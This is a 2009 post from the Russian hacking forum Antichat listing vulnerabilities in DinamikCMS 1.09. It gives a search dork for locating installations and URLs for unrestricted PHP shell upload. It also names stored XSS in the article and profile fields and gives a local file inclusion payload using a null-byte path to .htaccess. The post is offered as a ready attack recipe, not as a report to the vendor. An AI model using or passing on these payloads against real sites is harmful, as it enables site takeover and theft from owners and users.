Форум АНТИЧАТ - Уязвимости DinamikCMS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

Уязвимости DinamikCMS

05.01.2009, 10:41

Twoster

Reservists Of Antichat - Level 6

Регистрация: 20.08.2008

Сообщений: 328

Провел на форуме:
7144817

Репутация: 1503

Уязвимости DinamikCMS

Уязвимый продукт: DinamikCMS
Версия: 1.09
Дорк: Powered by DinamikCMS v.1.09

Просто удивительная CMS

1. Заливка шелла
cms_site.ru/?pg=module/files/addfiles
cms_site.ru/?pg=module/galerea/addfoto
Загружаемые файлы совершенно не проверяются, можно загрузить шелл c расширением .php абсолютно безо всяких проблем! =)

2. XSS
a) добавляем статью, в поле "Предисловие" отлично проходит XSS
cms_site.ru/?pg=module/article/addarticle
b) Редактирование профиля, XSS подвержены все поля
cms_site.ru/?pg=edituser

3. Локальный инклуд
cms_site.ru/?pg=../.htaccess%00

__________________

You may say I'm a dreamer
But I'm not the only one

Последний раз редактировалось Twoster; 05.01.2009 в 10:45..